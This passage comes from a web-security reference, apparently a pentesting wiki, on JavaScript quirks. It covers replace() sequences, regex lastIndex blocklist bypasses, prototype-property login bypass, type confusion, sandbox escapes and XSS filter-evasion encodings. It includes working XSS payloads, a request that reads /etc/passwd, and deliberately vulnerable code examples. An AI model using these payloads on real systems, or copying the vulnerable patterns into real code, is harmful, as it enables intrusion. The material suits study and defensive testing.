The second argument to `replace()` functions determine what should be put in place of the matched part. It might come as a surprise that when this section is user-controlled input, there are some special character sequences that are not taken literally. The following sequences insert a special piece of text instead ([source](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)):

<table><thead><tr><th width="276">Pattern</th><th>Inserts</th></tr></thead><tbody><tr><td><code>$$</code></td><td>Inserts a <code>"$"</code> (escape sequence)</td></tr><tr><td><code>$&#x26;</code></td><td>Inserts the matched substring</td></tr><tr><td><code>$`</code></td><td>Inserts the portion of the string that <em><strong>precedes</strong></em> the matched substring</td></tr><tr><td><code>$'</code></td><td>Inserts the portion of the string that <em><strong>follows</strong></em> the matched substring</td></tr><tr><td><code>$n</code> (RegExp only)</td><td>Inserts the <code>n</code>th (<code>1</code>-indexed) capturing group where <code>n</code> is a positive integer less than 100</td></tr><tr><td><code>$&#x3C;name></code> (RegExp only)</td><td>Inserts the named capturing group where <code>name</code> is the group name</td></tr></tbody></table>

The `` $` `` and `$'` are especially interesting, as they repeat a preceding or following piece of text, which may contain **otherwise blocked characters**. A neat trick using mentioned [here](https://security.stackexchange.com/a/198461/267531) abuses this to repeat a `</script>` string that would normally be HTML encoded in the payload:

{% code title="Intended functionality" %}

```javascript
payload = "alert()//"  // Naive attempt, will be quoted
payload = "</script><script>alert()//"  // Try to escape tag, will be encoded

encoded = JSON.stringify(payload.replaceAll('<', '&lt;').replaceAll('>', '&gt;'))
'<script>let a = REPLACE_ME</script>'.replace("REPLACE_ME", encoded)
```

```html
<script>let a = "alert()//"</script>
<script>let a = "&lt;/script&gt;&lt;script&gt;alert()//"</script>
```

{% code title="Exploit" %}

```javascript
payload = "$'$`alert()//"  // Insert '</script>' following, and '<script>' preceding
```

{% endcode %}

```html
<script>let a = "</script><script>let a = alert()//"</script>
```

### Global Regexes

[Regular Expressions (RegEx)](/languages/regular-expressions-regex) in JavaScript can be written in between `/` slash characters. After the last slash, flags can be given such as `i` for case insensitivity and `g` for [global search](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/global). This global feature is interesting because it can cause some unintuitive behavior if you don't fully understand its purpose.

One common mistake is the *lack* of the global flag in a RegEx that is supposed to replace all characters. When using no regex, only the first match is replaced, the same goes for a non-global regex. Only using a global regex or the `replaceAll` function, all matches will be replaced:

```javascript
"aa".replace("a", "b")    // 'ba'
"aa".replace(/a/, "b")    // 'ba'
"aa".replace(/a/g, "b")   // 'bb'
"aa".replaceAll("a", "b") // 'bb'
```

#### Reusing saves `.lastIndex`

When a global regex is reused, another unexpected behavior can happen. The instance's `.test()` and `.exec()` methods will keep save `.lastIndex` value that stores the last matched index. On the next call, the search is only continued from this last index, not from the start. Only if a match fails will it be reset to the start.

While primarily useful for matching against the same string, this can cause unexpected behavior when multiple different strings are matched against the same global RegEx:

<pre class="language-javascript"><code class="lang-javascript"><strong>// String with 2 matches will only match twice, then resets
</strong>const re = /A/g;
re.test("1st A 2nd A") // true  (starting at 0,  lastIndex=5)
re.test("1st A 2nd A") // true  (starting at 5,  lastIndex=11)
re.test("1st A 2nd A") // false (starting at 11, lastIndex=0)
re.test("1st A 2nd A") // true  (starting at 0,  lastIndex=5)

<strong>// lastIndex can be offset by one string, causing another to fail matching
</strong>const re = /A/g;
re.test("....A") // true  (starting at 0, lastIndex=5)
re.test("AAAA")  // false (starting at 5, lastIndex=0)

<strong>// Increasing match position works until it is before lastIndex
</strong>const re = /A/g;
re.test("A")    // true  (starting at 0, lastIndex=1)
re.test(".A")   // true  (starting at 1, lastIndex=2)
re.test("..A")  // true  (starting at 2, lastIndex=3)
re.test("...A") // true  (starting at 3, lastIndex=4)
re.test("..A")  // false (starting at 4, lastIndex=0)
</code></pre>

One example implementation of a check that can be bypassed with this behavior is the following:

<pre class="language-javascript" data-title="Vulnerable example"><code class="lang-javascript"><strong>const re = /[&#x3C;>"']/g;
</strong>
<strong>function check(arr) {
</strong><strong>    return arr.filter((item) => !re.test(item));
</strong><strong>}
</strong>
const msg = [
    "hello",
    "&#x3C;script>alert()&#x3C;/script>",
    'x" onerror="alert()',
    "bye",
];
console.log(check(msg));  // ['hello', 'bye']
</code></pre>

An attacker can abuse this to **bypass blocklists** by shifting the search forward and then hide the payload to before the start of the search.

The above check tries to filter out strings matching characters common in XSS payloads, `<>"'`. It does so with the `/g` global flag and uses `.test()` to check for matches. As we now know, this will remember the `.lastIndex` on any match so that the next check is offset. We can exploit this by intentionally prepending a large string that matches right at the end, putting `.lastIndex=29`. The next match for the script tag or attribute injection will be before the 29th index, and thus not be matched. That allows the following payload to bypass it fully:

{% code title="Exploit" %}

```javascript
const msg2 = [
    "XXXXXXXXXXXXXXXXXXXXXXXXXXXX<",
    "<script>alert()</script>",
    "XXXXXXXXXXXXXXXXXXXXXXXXXXXX<",
    'x" onerror="alert()',
];
console.log(check(msg2));  // ['<script>alert()</script>', 'x" onerror="alert()']
```

{% endcode %}

Another vulnerable pattern would be shared global variables like often happens in NodeJS. With multiple requests, you can first shift the `lastIndex` and then exploit it in a 2nd request.

<pre class="language-javascript" data-title="Vulnerable example"><code class="lang-javascript"><strong>const regex = /[&#x3C;>"']/g;
</strong>
app.get('/', (req, res) => {
  const { input } = req.query;
<strong>  if (input &#x26;&#x26; regex.test(input)) {
</strong>    return res.status(400).send('Invalid characters in input')
  }
  res.send(input)
})
</code></pre>

And [postMessage Exploitation](/web/client-side/cross-site-scripting-xss/postmessage-exploitation) as well:

```javascript
const dangerous = /[<>'"]/g;

window.addEventListener('message', (event) => {
  if (dangerous.exec(event.data)) {
    throw new Error("Dangerous!");
  }
  document.body.innerHTML = event.data;
});
```

{% hint style="success" %}
Learn more common RegEx problems in [Regular Expressions (RegEx)](/languages/regular-expressions-regex#common-bypasses).
{% endhint %}

### Prototype Properties

In JavaScript, all Objects have a prototype that they inherit methods or properties from. See [Prototype Pollution](/languages/javascript/prototype-pollution) for a technique that abuses writable prototypes. Here, we will look at abusing the existing prototypes to bypass certain checks when objects are accessed with dynamic keys.

Take the following code example:

<pre class="language-javascript" data-title="Vulnerable Example"><code class="lang-javascript">const users = {
  'admin': {
    password: crypto.randomBytes(16).toString('hex'),
  }
};

app.get('/login', (req, res) => {
  const { username, password } = req.query;

<strong>  if (users[username] &#x26;&#x26; users[username].password === password) {
</strong>    res.json(true);
  } else {
    res.json(false);
  }
});
</code></pre>

In this example, the `username` and `password` come from the query string. A check is performed that the username is inside the users dictionary and that its password property matches the given password. Only then will it return `true`.

It is vulnerable because not just `'admin'` is a valid key in the `users` object. Its inherited prototype properties like `.constructor` or `.toString` are still valid properties, but are functions instead of a password entry to match against. The `users[username]` will pass, but then its `.password` property will become `undefined`. Luckily, we can match this with our given password by removing the `password` query parameter, making it undefined as well.

{% code title="Payload URL" %}

```
/login?username=toString
```

{% endcode %}

```javascript
username = "toString"
password = undefined
users[username] -> [Function: toString]             // true
users[username].password -> undefined === password  // true
```

This was a solution to a simple JavaScript CTF challenge with a detailed writeup below:

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/wizer-ctf-may-2024/4-sensitive-flags>" %}
Writeup of a challenge that uses `users[username]` and could be bypassed
{% endembed %}

### Type Confusion

Most often, user input is a [`String`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String). However, some functions for getting query parameters or JSON are able to return more types like [`Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)s or [`Object`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object)s. An application may not expect this and handle it improperly. With the flexibility of JavaScript this is especially often the case.

JSON can obviously have different types by writing `["first","second"]` or `{"key":"value"}` syntax, but query parameters are more complicated. It depends on the parser, but some common ways to create *Arrays* include:

* `array=first&array=second`
* `array[]=first&array[]=second`
* `array[0]=first&array[1]=second`

These may all be parsed as `["first","second"]`. It is sometimes also possible to create *Objects* by giving keys inside the brackets (`[]`), and combined with arrays:

* `object[key]=value&object[array][]=first`

This syntax could create `{"key":"value","array":["first"]}`. When you know what is possible, you can think of how the code will handle such unexpected types.

One common trick is to **confuse&#x20;*****Strings*****&#x20;and&#x20;*****Arrays***, because a lot of their methods/attributes correspond. Imagine a developer wants to validate their input and check if a [`String.includes()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/includes) any dangerous characters. Any regular string will be caught here, but if we make our input an array, the `.includes()` method suddenly refers to [`Array.includes()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes). This method only checks if any of its items are fully equal, not if the character exists in the string.\
Code like the following could be bypassed:

<pre class="language-javascript" data-title="Vulnerable Example"><code class="lang-javascript">app.get('/', (req, res) => {
    const name = req.query.name
<strong>    if (name.includes("&#x3C;") || name.includes(">")) {
</strong>        res.send('Invalid name');
    }
    res.send(`&#x3C;h1>Hello, ${name}!&#x3C;/h1>`);
});
</code></pre>

By turning our input into an array by providing a second `name=` parameter, the check will only verify if any of the parameters are exactly equal to `<` or `>`.

<figure><img src="/files/zvWnyx2JEgNy1E7Br7h5" alt=""><figcaption><p>Exploit using multiple <code>name=</code> parameters to turn it into an array, resulting in XSS</p></figcaption></figure>

Another thing that strings and arrays have in common is their `.toString()` method, which you can see in full effect above. While most objects just turn into `[object Object]` by default, arrays will turn into their items stringified and joined by commas (`,`). This is useful for injections as they often still allow arbitrary input in their items to reflect when written somewhere.

**Objects** are also interesting because some library methods will accept them as **`options`**. These may include special settings that you can now change, that would normally default if you input a string. One example is [`res.download()`](https://expressjs.com/fr/api.html#res.download) from Express ([writeup](https://mizu.re/post/heroctf-v6-writeups#sampleHub)). As the 2nd argument, it accepts *either a String as the returned filename, or an Object with options*. With the `root:` option it is possible to change the relative parent of the 1st argument, and potentially read arbitrary files:

{% code title="Vulnerable Example" %}

```javascript
app.get("/download/:file", (req, res) => {
    const file = path.basename(req.params.file);
    res.download(file, req.query.filename || "file.bin");
});
```

{% endcode %}

The `file` path parameter may only be relative due to `path.basename()`, but using the query parameter `filename` which is normally a string, we can use brackets (`[]`) to turn it into an object. Then, we will provide the documented `root:` option to make it read from an arbitrary directory:

```shell-session
$ curl -g 'http://localhost:3000/download/passwd?filename[root]=/etc'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```

### Sandboxing

If the program attempts to let you execute only a limited amount of JavaScript features in order to safely execute code, you can look for *sandbox escapes*. With how flexible JavaScript is, there are many easy mistakes to make. This section will primarily take about **expression evaluators** that have limited functionality.

The main goal to reach is often the [`Function()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function) constructor. This function takes a string argument which is its function body, and can then be called to execute it. This effectively serves as an alternative to "eval". It is easy to reach through the [`.constructor`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor) property all objects have, because when accessed on any function, it gives this Function constructor.

{% code title="Examples" %}

```javascript
Function("return 1337")();
"".toString.constructor("return 1337")();  // Get from any function's .constructor
"".constructor.constructor("return 1337")();  // A constructor is a function itself
""["constructor"]["constructor"]("return 1337")();  // Syntax doesn't matter
```

{% endcode %}

That means if you have any way of **accessing arbitrary properties** on an object, and then **calling** them, you'll be able get to and call this "eval" to run arbitrary code.

#### Common gadgets

Expression evaluators often work with a global `variables` or `scope` object on which any defined variables are accessed as properties (eg. `variables[name]=value`). Without validation, this pattern allows you to access prototype properties of `variables` by referencing a global variable named `toString` or `constructor`.

```javascript
constructor.constructor('return 1337')()
```

Another source of arbitrary property access is custom functions that are available for your expressions. These may also access properties without thinking about validating which ones are safe. [This writeup](https://warpnet.nl/blog/pwndoc-hacking-a-reporting-tool/#pwndoc-sandbox-escape-to-rce-using-custom-filters-cve-2024-55652) shows an example where a property was access for every item in an array, allowing you to put the source object in a single-item array and retrieving the result at index 0.

```javascript
([1] | select: 'constructor' | select: 'constructor')[0]('return 1337')()
```

#### Only "own properties"

Previously in `angular-expressions`, there [was a vulnerability](https://warpnet.nl/blog/pwndoc-hacking-a-reporting-tool/#the-vulnerability) where you could only access one arbitrary property as a global variable. From there, property access was checked using [`.hasOwnProperty()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty) to ensure only "own properties" are allowed. This means any inherited properties from the prototype were not allowed, but already having access to a variable like [`Object`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object), this is enough to execute arbitrary code.

The trick here is that `.constructor` directly on the [`Object()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/Object) constructor comes from the prototype, not an own property. Therefore we need to first access its prototype which *does* have constructor as an own property. This can be done by calling [`Object.getPrototypeOf()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf) on any function, from which we can access the Function constructor again:

```javascript
constructor.getPrototypeOf(constructor).constructor('return 1337')()
```

#### Only methods

In a situation where regular property is checked, but methods aren't, you can still access the Function constructor using the deprecated [`__lookupGetter__()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__), then use [`.call()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call) to call it with a method.

```javascript
"".__lookupGetter__("__proto__").constructor("return 1337").call()
```

#### Prototype Pollution

If `.constructor` chaining to get to `Function()` is disabled (eg. via `delete Function.prototype.constructor`), you can still achieve impact by polluting the global prototypes, named [Prototype Pollution](/languages/javascript/prototype-pollution). There's a few different ways allowing you to do that from any object depending on your restrictions ([source](https://x.com/arkark_/status/1943260773268230205)). The best part is that using the setters, you don't need to call any methods.

{% code title="Examples" %}

```javascript
const obj = {};

obj.__proto__.polluted = true;
obj.constructor.prototype.polluted = true;
obj.constructor.getPrototypeOf(obj).polluted = true;
obj.__lookupGetter__("__proto__").call(obj).polluted = true;
```

{% endcode %}

## Filter Bypass

Often alphanumeric characters are allowed in a filter, so being able to decode Base64 and evaluate the result should be enough to do anything while bypassing a filter. Acquiring the primitives to do this decoding and evaluating however can be the difficult part as certain ways of calling the functions are blocked. The simplest idea is using `atob` to decode Base64, and then `eval` to evaluate the string:

<pre class="language-javascript"><code class="lang-javascript"><strong>> btoa("alert()")  // Encoding
</strong>'YWxlcnQoKQ=='
<strong>> atob("YWxlcnQoKQ")  // Decoding
</strong>'alert()'

<strong>eval(atob("YWxlcnQoKQ"))  // Obfuscated payload
</strong></code></pre>

### Inside a String

When injecting inside of a JavaScript string (using `"` or `'` quotes), you may be able to escape certain blocked characters using the following escape sequences with different properties:

* `\x41` = `'A'`: Hex escape, shortest! ([CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Hex\('None',0\)Find_/_Replace\(%7B'option':'Regex','string':'..'%7D,'%5C%5Cx$%26',true,false,true,false\)\&input=YWxlcnQoKQ))
* `\u0041` = `'A'`: Unicode escape, non-ASCII characters too! ([CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Hex\('None',0\)Find_/_Replace\(%7B'option':'Regex','string':'..'%7D,'%5C%5Cu00$%26',true,false,true,false\)\&input=YWxlcnQoKQ))
* `\101` = `'A'`: Octal escapes, numeric-only payload! ([CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Octal\('Space'\)Find_/_Replace\(%7B'option':'Regex','string':'.*'%7D,'%20$%26',false,false,true,true\)Find_/_Replace\(%7B'option':'Regex','string':'%20\(%5C%5Cd%2B\)'%7D,'%5C%5C%5C%5C$1',true,false,true,false\)\&input=YWxlcnQoKQ))

Other than these generic escapes, there are a few special characters that get their own escapes:

<table><thead><tr><th width="134" align="right">Syntax</th><th>Meaning</th></tr></thead><tbody><tr><td align="right"><code>\\</code></td><td>Backslash</td></tr><tr><td align="right"><code>\'</code></td><td>Single quote</td></tr><tr><td align="right"><code>\"</code></td><td>Double quote</td></tr><tr><td align="right"><code>\`</code></td><td>Backtick</td></tr><tr><td align="right">(0x0a) <code>\n</code></td><td>New Line</td></tr><tr><td align="right">(0x0d) <code>\r</code></td><td>Carriage Return</td></tr><tr><td align="right">(0x09) <code>\t</code></td><td>Horizontal Tab</td></tr><tr><td align="right">(0x0b) <code>\v</code></td><td>Vertical Tab</td></tr><tr><td align="right">(0x08) <code>\b</code></td><td>Backspace</td></tr><tr><td align="right">(0x0c) <code>\f</code></td><td>Form Feed</td></tr></tbody></table>

When inside [template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals) (using `` ` `` backticks), you can use `${}` expressions to evaluate inline JavaScript code which may contain any code you want to run, or evaluate to any string you need.

```javascript
`${alert()}`
`${String.fromCharCode(97,110,121,116,104,105,110,103)}` -> 'anything'
```

{% hint style="info" %}
Unrelated to strings, you can also use these templates as "[tagged templates](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#tagged_templates)" to call functions without parentheses:

```javascript
alert``
```

More of these kinds of tricks can be found in:

{% embed url="<https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md>" %}
List of ways to call functions without parentheses, useful for bypassing filters/restrictions
{% endembed %}
{% endhint %}

### No alphanumeric characters

{% embed url="<https://jsfuck.com/>" %}
An encoder that can create self-executing JavaScript code with only 6 special characters
{% endembed %}

### Without `"` quotes

`RegExp` objects can be defined by surrounding text with `/` slashes, and are automatically coerced into a string surrounded by slashes again. This can become valid executable JavaScript code in a few different ways:

<pre class="language-javascript"><code class="lang-javascript"><strong>eval(1+/1,alert(),1/+1)  // Use numbers to turn '/' into a divide
</strong>1/1,alert(),1/1

<strong>eval(unescape(/%2f%0aalert()%2f/))  // Use unescape() with URL encoding and newlines
</strong>//
alert()//

<strong>eval(/alert()/.source)  // Use .source to extract the inner text of RegExp
</strong>alert()
</code></pre>

Another common method is using `String.fromCharCode()` chains to build out string character-by-character:

{% code title="Python" %}

```python
>>> f"String.fromCharCode({','.join(str(ord(c)) for c in 'alert()')})"
'String.fromCharCode(97,108,101,114,116,40,41)'
```

{% endcode %}

<pre class="language-javascript"><code class="lang-javascript"><strong>eval(String.fromCharCode(97,108,101,114,116,40,41))
</strong>alert()
</code></pre>

### Strings from other sources

In a web environment, cross-origin JavaScript can still access a few properties under your control that may be useful for smuggling strings when the injection is limited. The best example is the shortest possible XSS payload in Chrome: `eval(name)`.

The `name` variable refers to [`window.name`](https://developer.mozilla.org/en-US/docs/Web/API/Window/name) and can be set by the site that opens it using the `target` parameter. It is also kept across redirects, making it potentially useful for exfiltrating as well.

The logic below sets the current window's name to the XSS payload, and then uses `window.open()` to overwrite itself with the same name. This puts the name variable on the target site so it can `eval()` the value successfully:

<pre class="language-html"><code class="lang-html">&#x3C;script>
<strong>  name = "alert(origin)"
</strong><strong>  window.open("https://example.com?xss=eval(name)", "alert(origin)")
</strong>&#x3C;/script>
</code></pre>

To get different names instead of just one, you can refer to `opener.name` if the opener is same-origin with the target. This can be repeated like `opener.opener.name` to get an arbitrary number of strings you set, but every additional opener requires a `window.open()` call which is a user interaction on your site.

Using iframes, you can get the same effect but only using a single opener. We will access them via their `name=` attribute on the window reference, so this cannot contain an arbitrary string anymore. However, the `location.hash` may also work, it just needs a `.slice(1)` to get rid of the first `#`.

This combines into a way to get arbitrary strings with only the charset `[a-z().]`. You just need to be able to iframe any page same-origin with the target, such as an error page with `/%00` or a too-long URI. Below is a proof of concept using this idea:

```html
<iframe src="https://example.com/%00#anything" name="a"></iframe>
<iframe src="https://example.com/%00#more text<>!..." name="b"></iframe>
<script>
  onclick = () => {
    window.open("https://example.com")
  }
</script>
```

The `https://example.com` popup can now access the prepared strings like this:

```javascript
unescape(opener.a.location.hash.slice(unescape.length))  // 'anything'
unescape(opener.b.location.hash.slice(unescape.length))  // 'more text<>!...'
```

### Comments

A few different and uncommon ways of creating comments in JavaScript:

```javascript
alert()//Regular comment

alert()/*multiline
comment*/alert()

alert()<!--HTML comment

#!shebang comment (start of file and remote source only)

-->HTML comment (start of line only)
```

### Fix broken code with Hoisting

{% embed url="<https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios>" %}
Good explanation of hoisting and exploitable scenarios
{% endembed %}

While not necessarily being a "Filter Bypass", this quirk is useful for [Cross-Site Scripting (XSS)](/web/client-side/cross-site-scripting-xss) injections where some variables/functions are not defined before your payload, causing the script to fail before it reaches your malicious code. Take the following example:

{% code title="Vulnerable Code" %}

```javascript
func('test', 'INJECTION');
```

{% endcode %}

It looks like simply closing the `'` at the injection point will do, to create a payload like this:

{% code title="Naive exploit" %}

```javascript
func('test', ''-alert(origin)-''); 
```

{% endcode %}

But what if `func` isn't defined for some reason? You'll receive the following runtime error before the alert pops:

> Uncaught ReferenceError: `func` is not defined

The solution is to abuse "hoisting", a process in JavaScript where during parsing, any function declarations will be **moved to the top**. This allows a function to be used before it is defined from top to bottom in a file. It is best shown with an example:

<pre class="language-javascript"><code class="lang-javascript">func('test', 'test'); 

<strong>function func(a, b) {
</strong><strong>    return 1
</strong><strong>};
</strong>
alert(origin);//');
</code></pre>

If `func` was `func.someMethod`, this would still fail because undefined is not callable and our alert payload later in the code won't get executed. However, before the property read on func, the arguments to the function are evaluated including our injection point. We just need to put the alert inline here:

```javascript
func.someMethod('test', ''-alert(origin)-''); 

function func(a, b) {
    return 1
};//')
```

Similarly, undefined variables can be declared anywhere in the code with `var`:

<pre class="language-javascript"><code class="lang-javascript">func(a, 'test'); 

<strong>var a = 1;
</strong>
alert(origin);//');
</code></pre>

## Reverse Engineering

Client-side javascript is often minified or obfuscated to make it more compact or harder to understand. Luckily there are many tools out there to help with this process of reverse engineering, like the **manual** [JavaScript Deobfuscator](https://willnode.github.io/deobfuscator/). While manually trying to deobfuscate the code, dynamic analysis can be very helpful. If you find that a function decrypts some string to be evaluated for example, try throwing more strings into that function at runtime with *breakpoints*.

While doing it manually will get you further, sometimes it's quicker to use automated tools made for a specific obfuscator. The common [obfuscator.io](https://obfuscator.io/) for example can be perfectly deobfuscated using `webcrack`, as well as minified/bundled code:

{% embed url="<https://github.com/j4k0xb/webcrack>" %}
Deobfuscate specific obfuscators, and unminify/unbundle a single file
{% endembed %}

```bash
curl https://example.com/script.js | webcrack -o example
```

### Source maps

Bundled/minified code is often hard to read, even with the abovementioned tools. If you're lucky, a website might have published `.map` source map files together with the minified code. These are normally used by the DevTools to recreate source code in the event of an exception while debugging. But we can use these files ourselves to recreate the exact source code to the level of comments and whitespace!

Viewing these in the DevTools is easy, just check the **Sources** -> **Page** -> **Authored** directory to view the source code if it exists:

<figure><img src="/files/da04EdF6p7iGWZcpFwEZ" alt=""><figcaption><p>2 source code files with <code>.ts</code> TypeScript and <code>.scss</code> CSS using source maps</p></figcaption></figure>

It gets these from the special `//# sourceMappingURL=` comment at the end of minified JavaScript files, which are often the original URL **appended** with `.map`. Here is an [example](https://parcel-greet.netlify.app/):

{% code title="index.7808df6e.js" overflow="wrap" %}

```javascript
document.querySelector("button")?.addEventListener("click",(()=>{const e=Math.floor(101*Math.random());document.querySelector("p").innerText=`Hello, you are no. ${e}!`,console.log(e)}));
//# sourceMappingURL=index.7808df6e.js.map
```

{% endcode %}

{% code title="index.7808df6e.js.map" overflow="wrap" %}

```json
{"mappings":"AAAAA,SAASC,cAAc,WAAWC,iBAAiB,SAAS,KAC1D,MAAMC,EAAcC,KAAKC,MAAsB,IAAhBD,KAAKE,UAEnCN,SAASC,cAAc,KAA8BM,UAAY,sBAAyBJ,KAC3FK,QAAQC,IAAIN,EAAA","sources":["src/script.ts"],"sourcesContent":["document.querySelector('button')?.addEventListener('click', () => {\n  const num: number = Math.floor(Math.random() * 101);\n  const greet: string = 'Hello';\n  (document.querySelector('p') as HTMLParagraphElement).innerText = `${greet}, you are no. ${num}!`;\n  console.log(num);\n});"],"names":["document","querySelector","addEventListener","num","Math","floor","random","innerText","console","log"],"version":3,"file":"index.7808df6e.js.map"}
```

{% endcode %}

There exists a tool `sourcemapper` that can take a URL and extract all the source code files:

{% embed url="<https://github.com/denandz/sourcemapper>" %}
Extract source files from `.map` URLs into an output directory
{% endembed %}

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ sourcemapper -url https://parcel-greet.netlify.app/index.7808df6e.js.map -output example
</strong>[+] Retrieving Sourcemap from https://parcel-greet.netlify.app/index.7808df6e.js.map.
[+] Read 646 bytes, parsing JSON.
[+] Retrieved Sourcemap with version 3, containing 1 entries.
[+] Writing 280 bytes to example/src/script.ts.
[+] Done
<strong>$ cat example/src/script.ts
</strong>document.querySelector('button')?.addEventListener('click', () => {
  const num: number = Math.floor(Math.random() * 101);
  const greet: string = 'Hello';
  (document.querySelector('p') as HTMLParagraphElement).innerText = `${greet}, you are no. ${num}!`;
  console.log(num);
});
</code></pre>

### Local Overrides

{% embed url="<https://developer.chrome.com/docs/devtools/overrides>" %}
DevTools documentation explaining content overrides
{% endembed %}

One very useful feature of Chrome's DevTools is its Local Overrides system. You can override the content of any URL by editing a file locally, while you have the DevTools open.

Start by setting up local overrides as explained in the link above. Once configured and enabled (under *Sources* -> *Overrides* -> *Enable Local Overrides*), you can edit any file in the *Sources* tab and press *Ctrl+S* to save it. Edits in CSS properties will also be saved. From the *Network* tab, you can even override response headers in a special `.headers` file.

You can notice any overridden files by the ![](/files/2DOFLH9rEYg3JAsmt5la) icon that appears, and disable it completely by unchecking *Enable Local Overrides*.

<figure><img src="/files/KBOxgTQSNw0TfecBqXuk" alt="" width="563"><figcaption><p>Example of editing some files in <em>Sources</em></p></figcaption></figure>

{% hint style="warning" %}
**Note**: This feature only works when DevTools are open. If you reload the page while they are closed, the overrides will not be used.
{% endhint %}

{% hint style="warning" %}
**Note**: This feature does *not* work in the *Burp Suite Browser*, because some default arguments prevent access to the filesystem. [This is a known issue](https://forum.portswigger.net/thread/cannot-set-up-chromium-devtools-overrides-in-embedded-browser-acb1b518) and you should use your local Chrome installation instead.
{% endhint %}

### Frames

When looking at complex or edge cases, it can be useful to know how the browser understands the current context. The *Application* -> *Frames* panel in Chrome is useful for this as it shows a variety of properties of all frames in the current tab, like how the `Content-Security-Policy` is parsed, the Origin, the Owner Element, and much more ([source](https://x.com/ctbbpodcast/status/1822698310429216784)).

<figure><img src="/files/A5EsiTCbIgdT2c1L73Qr" alt="" width="563"><figcaption><p>Example of Twitter's top frame</p></figcaption></figure>

### Snippets/fuzzing

Useful bits of JavaScript that can quickly give information about an application, or help in an exploit. Run these in the **DevTools Console** or at will using a [Bookmarklet](https://caiorss.github.io/bookmarklet-maker/).

#### Log all non-default global (window) variables

```javascript
const iframe = document.createElement('iframe');
document.body.appendChild(iframe);
const defaultProps = new Set(Object.getOwnPropertyNames(iframe.contentWindow));
iframe.remove();

for (const prop in window) {
    if (window.hasOwnProperty(prop) && !defaultProps.has(prop)) {
        console.log(prop, window[prop]);
    }
}
```

#### Get all properties (including prototypes)

```javascript
function props(obj) {
  // Source: https://stackoverflow.com/a/30158566/10508498
  var p = [];
  for (; obj != null; obj = Object.getPrototypeOf(obj)) {
    var op = Object.getOwnPropertyNames(obj);
    for (var i = 0; i < op.length; i++) {
      if (p.indexOf(op[i]) == -1) {
        p.push(op[i]);
      }
    }
  }
  return p;
}
```

#### Simple URL fuzzing

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/intigriti-xss-challenge/0525#url-origin-validation-bypass>" %}
Finding parser differential in absolute vs. relative `URL()` parsing
{% endembed %}

Edit `test()` in the following snippet to parse the URL in 2 ways, then compare and log if interesting:

```javascript
function test(url) {
  try {
    const url1 = new URL(url, location);
    const url2 = new URL(url);

    if (url1.origin !== url2.origin) {
      console.log(url, "=>", url1.origin, url2.origin);
    }
  } catch (e) { }
}

let strings = ["", "https", ":", "//", "example.com", ":", "1337", "@", "x", "/", "!", "?", "#", "&", "a=b"]

for (let i = 0; i < strings.length; i++) {
  for (let j = 0; j < strings.length; j++) {
    for (let k = 0; k < strings.length; k++) {
      for (let l = 0; l < strings.length; l++) {
        let url = strings[i] + strings[j] + strings[k] + strings[l];
        test(url);
      }
    }
  }
}
console.log("done");
```

{% hint style="success" %}
**Tip**: Run in NodeJS for faster iteration
{% endhint %}

### Debugging

While in the DevTools, the **Sources** tab shows a file structure of all loaded resources per frame. Choose any `.js` file you want here and press on the line number on the left to set a *breakpoint*. Whenever the runtime hits this line of code now, the whole tab will freeze and let you inspect local variables, step through the code and use the *Console* to run small tests in the context of the frozen position.

In addition to this, right-clicking a line number allows you to add [different types of breakpoints](https://developer.chrome.com/docs/devtools/javascript/breakpoints/#overview). For example, a *conditional breakpoint* will only freeze if a certain condition is `true`, for when a function executes many times but you only care about one specific execution of it.

The *logpoint* also also useful because it never freezes, only logs a value with access to local variables to the Console for you to inspect. This effectively also allows you to insert code into the source similar to using [#local-overrides](#local-overrides "mention"). To get global access to a local variable, for example, you can use this hack to save it to a `window.` property without a whole freeze, so you can access it while the application is running.

{% code title="Accessing `ws` variable" %}

```javascript
window.ws = ws
```

{% endcode %}

<figure><img src="/files/bb91nO0d9ugUPnv1UrXd" alt=""><figcaption><p>Using logpoint to make WebSocket variable in other scope accessible globally</p></figcaption></figure>

{% hint style="warning" %}
While stepping through the code, if source maps will by default be applied to give you a better reading experience. But if the minified code's *control flow* is different enough, it can cause strange situations where the cursor jumps around not as you expect.\
You can disable source maps by pressing `Ctrl+Shift+P` and choosing **Disable JavaScript source maps**
{% endhint %}

When editing the code or triggering a Cross-Site Scripting payload, you can execute the `debugger;` statement to quickly break at any time, without having to configure it in the browser. This is useful when **evaluating code** without line numbers that you can set beforehand.

If you're unsure what piece of code is triggering something, you can try to find it by setting generic breakpoints for a few different events:

